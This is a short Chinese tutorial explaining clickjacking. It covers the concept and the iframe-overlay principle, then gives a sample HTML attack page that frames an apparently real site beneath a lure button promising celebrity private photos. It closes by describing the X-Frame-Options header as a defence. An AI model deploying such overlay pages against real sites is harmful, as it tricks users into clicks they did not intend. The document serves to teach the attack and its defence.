常见WEB攻击之点击劫持攻击
2019-10-31 本文已影响0人
乔治大叔
一、什么是点击劫持?
点击劫持,clickjacking,也被称为UI-覆盖攻击。这个词首次出现在2008年,是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼首创的。
它是通过覆盖不可见的框架误导受害者点击。
虽然受害者点击的是他所看到的网页,但其实他所点击的是被黑客精心构建的另一个置于原网页上面的透明页面。
二、劫持原理
首先我们先预习下前端知识iframe,这种攻击利用了HTML中<iframe>标签的透明属性。
攻击者使用一个透明的、不可见的iframe,覆盖(包含)一个网页,然后诱使用户在该网页上进行操作,此时用户在不知情的情况下点击了透明的iframe页面。通过调整iframe页面的按钮位置,可以诱使用户恰好点击在iframe页面的一些功能性按钮上。
三、劫持案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>click jack</title>
<style>
iframe{
width:900px;
height: 250px;
top: -195px;
left:-740px;
z-index: 2;
-moz-opacity:0.5;
opacity: 0.5;
filter:alpha(opacity=0.5);
}
button {
position: absolute;
top: 10px;
left: 10px;
width: 120px;
z-index:1;
}
</style>
</head>
<body>
<iframe src="http://search.esgcc.com.cn/managerGf/toGfIndexPage" scrolling="no"></iframe>
<button>XXX明星私密照片,不看后悔一辈子</button>
</body>
</html>
1572406787605.jpg
四、防御方式
X-FRAME-OPTIONS是目前最可靠的方法
X-FRAME-OPTIONS是微软提出的一个http头,专门用来防御利用iframe嵌套的点击劫持攻击。
并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址